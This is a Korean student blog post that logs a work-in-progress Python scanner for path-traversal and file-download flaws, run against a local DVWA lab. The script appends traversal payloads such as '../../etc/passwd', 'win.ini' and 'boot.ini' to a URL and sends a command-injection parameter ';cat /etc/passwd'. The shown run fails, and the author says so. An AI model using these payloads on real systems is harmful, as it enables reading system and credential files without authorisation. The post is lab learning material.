촬리의늘솔길

경로추적/파일다운로드 본문

✍~2022/web보안

경로추적/파일다운로드

리촬리 2021. 7. 7. 17:27

23. 파일다운로드
- 멘토가 소개해준 샘플코드와 유사함(공격구문과 판별방법 유사)
- 입력 : URL과 파라미터

파라미터 입력받기 추가해야함 아직 안짰음

 


25. 경로추적
- 파일다운로드와 유사하며 차이점은 URL만 입력받아서 그 뒤에 공격 구문을 바로 붙이면 됨(나머지는 유사)

 

이건 그냥 바로 공격구문 url뒤에 더하기만 하면됨

 

#개행별로 def이용해서 짜보기

import requests

# 1. main함수
def main():
    path = input("경로를 입력하세요")
    pattern_load(path)
#2. 경로 입력받는 함수(함수로 안했음 전역변수가 편할듯)
#3. 헤더세팅함수(필요없을것같아서 뺌)
    

    
#4. 공격패턴 로드함수: 공격 패턴을 txt에서 로드하여 pattern별로 request를 요청하고 판단
def pattern_load(path):
    f = open("pattern.txt", 'r')
    pattern_n=1
    pattern=f.readline()
    list_file = []
    final=0
    
    while pattern : 
        print('%s' %(pattern))
        list_file.append(pattern)
        pattern=f.readline()
        pattern_n += 1
    f.close()

    for i in range(len(list_file)):
        url = path+ list_file[i]
        print(url)
        
    while pattern:
        res, params=check_request(url)
        print(res)
        final = check_result(res, params, url, final)
        #print('%s' %(line))
    f.close()
    
    
    print(final)
    
    if final == 1:
        print("점검URL:",path,"\n == 최종결과 취약점이 발견되었습니다.\n\n\n")
    else:
        print("점검URL:",path,"\n == 최종결과 취약점이 발견되지 않았습니다.\n\n\n")
    return 0
    
    
#4.1 개행삭제 함수 : url = path + pattern 로드하면 개행 지우고 추가해야함
#def delete_newline()

#5. 점검요청함수: 점검URL과 공격패턴을 포함한 requset를 요청하여 응답값을 받아 저장   
def check_request(url):
    params={'ip':';cat /etc/passwd','Submit':'Submit'}
    header = {'Cookie' : 'security=low; PHPSESSID=kqnaupcb8fmq5752ic4orvv5on'}
    response = requests.get(url=url, headers=header, params=params)
    #4. 출력을 무엇을 해줄지 (예를 들어 취약한 경우에 공격 url과 결과 이미지 등등 또는 양호할 경우는)
    status = response.status_code
    res = response.text

    return res, params


#6. 점검결과함수


def check_result(res, params, url, final):
    detect=res.find('root:')
    #판단 근거 = root: 문자열을 찾아서 -1이면 문자열이 없고 다른 수이면 그 위치에 문자열이 있다
    #print(detect)
    
    
    #6.1 취약양호판단(다운로드 되었는지 여부확인)
    
    
    if detect==-1:
        print("양호")
    else:
        print("취약")
        final=1
        
    print("URL:", url)
    print("DATA:", params)
    print("\n")
    return final


if __name__ == "__main__":
    main()

결과>

경로를 입력하세요http://127.0.0.1:8001/dvwa/vulnerabilities/fi/?page=include.php ../../../../../../../../../../../../etc/passwd ../../../../../../../../../../../../winnt/win.ini ../../../../../../../../../../../../boot.ini http://127.0.0.1:8001/dvwa/vulnerabilities/fi/?page=include.php../../../../../../../../../../../../etc/passwd http://127.0.0.1:8001/dvwa/vulnerabilities/fi/?page=include.php../../../../../../../../../../../../winnt/win.ini http://127.0.0.1:8001/dvwa/vulnerabilities/fi/?page=include.php../../../../../../../../../../../../boot.ini 0 점검URL: http://127.0.0.1:8001/dvwa/vulnerabilities/fi/?page=include.php == 최종결과 취약점이 발견되지 않았습니다.

 

 

근데 발견되어야 하는데 오류임

뭐가 문제지?

찾아보기

728x90

'✍~2022 > web보안' 카테고리의 다른 글

약한문자열강도 중간점검  (0) 2021.08.04
python 새롭게 알게된것(1)  (0) 2021.08.04
중간 점검  (0) 2021.07.22
약한문자열, 정보누출  (0) 2021.07.07
XSS  (0) 2021.07.07